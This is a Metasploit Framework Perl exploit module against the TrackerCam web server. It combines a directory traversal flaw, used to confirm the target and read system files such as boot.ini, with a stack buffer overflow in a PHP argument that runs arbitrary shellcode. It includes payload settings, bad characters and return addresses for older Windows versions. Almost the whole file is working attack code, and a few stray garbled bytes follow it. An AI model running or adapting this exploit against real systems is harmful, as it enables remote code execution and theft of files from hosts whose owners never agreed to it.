## # This file is part of the Metasploit Framework and may be redistributed # according to the licenses defined in the Authors field below. In the # case of an unknown or missing license, this file defaults to the same # license as the core Framework (dual GPLv2 and Artistic). The latest # version of the Framework can always be obtained from metasploit.com. ## package Msf::Exploit::trackercam_phparg_overflow; use base "Msf::Exploit"; use strict; use Pex::Text; my $advanced = { }; my $info = { 'Name' => 'TrackerCam PHP Argument Buffer Overflow', 'Version' => '$Revision: 1.3 $', 'Authors' => [ 'H D Moore ' ], 'Arch' => [ 'x86' ], 'OS' => [ 'win32'], 'Priv' => 1, 'AutoOpts' => { 'EXITFUNC' => 'thread' }, 'UserOpts' => { 'RHOST' => [1, 'ADDR', 'The target address'], 'RPORT' => [1, 'PORT', 'The target port', 8090], }, 'Payload' => { 'Space' => 2048, 'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c", 'Prepend' => "\x81\xc4\x54\xf2\xff\xff", # add esp, -3500 'Keys' => ['+ws2ord'], }, 'Description' => Pex::Text::Freeform(qq{ This module exploits a simple stack overflow in the TrackerCam web server. All current versions of this software are vulnerable to a large number of security issues. This module abuses the directory traversal flaw to gain information about the system and then uses the PHP overflow to execute arbitrary code. }), 'Refs' => [ ['OSVDB', '13953'], ['OSVDB', '13955'], ['CVE', '2005-0478'], ['BID', '12592'], ['URL', 'http://aluigi.altervista.org/adv/tcambof-adv.txt'], ], 'Targets' => [ # EyeWD.exe has a null and we can not use a partial overwrite. # All of the loaded application DLLs have a null in the address... # Except CPS.dl, which moves around between instances. # Windows XP SP2 and Windows 2003 are not supported yet :-/ ['Windows 2000 English', 0x75022ac4 ], # ws2help.dll ['Windows XP English SP0/SP1', 0x71aa32ad ], # ws2help.dll ['Windows NT 4.0 SP4/SP5/SP6', 0x77681799 ], # ws2help.dll ], 'Keys' => ['trackercam'], }; sub new { my $class = shift; my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced}, @_); return($self); } sub Check { my $self = shift; my $s = $self->Connect; if ($s->IsError) { $self->PrintLine('[*] Error creating socket: ' . $s->GetError); return $self->CheckCode('Connect'); } $self->PrintLine("[*] Querying the remote web server..."); my $path = "/tuner/ComGetLogFile.php3?fn=../HTTPRoot/socket.php3"; my $req = "GET $path HTTP/1.0\r\n\r\n"; $s->Send($req); my $res = $s->Recv(-1, 5); $s->Close; if ($res =~ /fsockopen/) { $self->PrintLine("[*] Vulnerable TrackerCam instance discovered"); $self->Fingerprint(); return $self->CheckCode('Confirmed'); } $self->PrintLine("[*] This TrackerCam service appears to be patched"); return $self->CheckCode('Safe'); } sub Exploit { my $self = shift; my $target_idx = $self->GetVar('TARGET'); my $shellcode = $self->GetVar('EncodedPayload')->Payload; my $target = $self->Targets->[$target_idx]; $self->PrintLine("[*] Attempting to exploit target " . $target->[0]); my $s = $self->Connect; if ($s->IsError) { $self->PrintLine('[*] Error creating socket: ' . $s->GetError); return; } my $bang = Pex::Text::EnglishText(8192); # Simple as pie. substr($bang, 257, 4, pack('V', $target->[1])); substr($bang, 253, 2, "\xeb\x06"); substr($bang, 261, length($shellcode), $shellcode); my $data = "GET /tuner/TunerGuide.php3?userID=$bang HTTP/1.0\r\n\r\n"; $self->PrintLine("[*] Sending " .length($data) . " bytes to remote host."); $s->Send($data); $s->Recv(-1, 5); return; } # Uses the directory traversal vulnerability to detect the remote OS version sub Fingerprint { my $self = shift; my $data = $self->DownloadFile('nobody.txt'); if (! $data ) { $self->PrintLine("[*] Download failed for remote test file"); return; } my ($path) = $data =~ m/in (.*)<\/b> on line/smi; $self->PrintLine("[*] Install path: $path") if $path; if (uc(substr($path, 0, 1)) ne 'C') { $self->PrintLine("[*] TrackerCam is probably not installed on the system drive"); } if ($data !~ /Program Files/) { $self->PrintLine("[*] TrackerCam is installed in a non-standard location"); } $data = $self->DownloadFile('boot.ini'); if (! $data ) { $self->PrintLine("[*] Download failed for remote boot.ini file"); return; } # Windows XP SP2 if ($data =~ /Windows XP.*NoExecute/i) { $self->PrintLine("[*] Detected Windows XP SP2"); return 'WinXPSP2'; } if ($data =~ /Windows XP/) { $self->PrintLine("[*] Detected Windows XP SP0-SP1"); return 'WinXPSP01'; } if ($data =~ /Windows.*2003/) { $self->PrintLine("[*] Detected Windows 2003 Server"); return 'Win2003'; } if ($data =~ /Windows.*2000/) { $self->PrintLine("[*] Detected Windows 2000"); return 'Win2000'; } $self->PrintLine("[*] Could not identify this system"); return; } sub DownloadFile { my $self = shift; my $file = shift; my $s = $self->Connect; return if $s->IsError; my $path = "/tuner/ComGetLogFile.php3?fn=../../../../../../../../../$file"; my $req = "GET $path HTTP/1.0\r\n\r\n"; $s->Send($req); my $res = $s->Recv(8192, 5); $s->Close; return if ($res !~ /tuner\.css/ || $res !~ /\/ ); my ($data) = $res =~ m/
(.*)/smi; $data =~ s/<\/pre><\/body>.*//g if $data; return $res if ! $data; return $data; } sub Connect { my $self = shift; my $s = Msf::Socket::Tcp->new ( 'PeerAddr' => $self->GetVar('RHOST'), 'PeerPort' => $self->GetVar('RPORT'), 'SSL' => $self->GetVar('SSL'), 'LocalPort' => $self->GetVar('CPORT'), ); return $s; } 1;

��ŷ��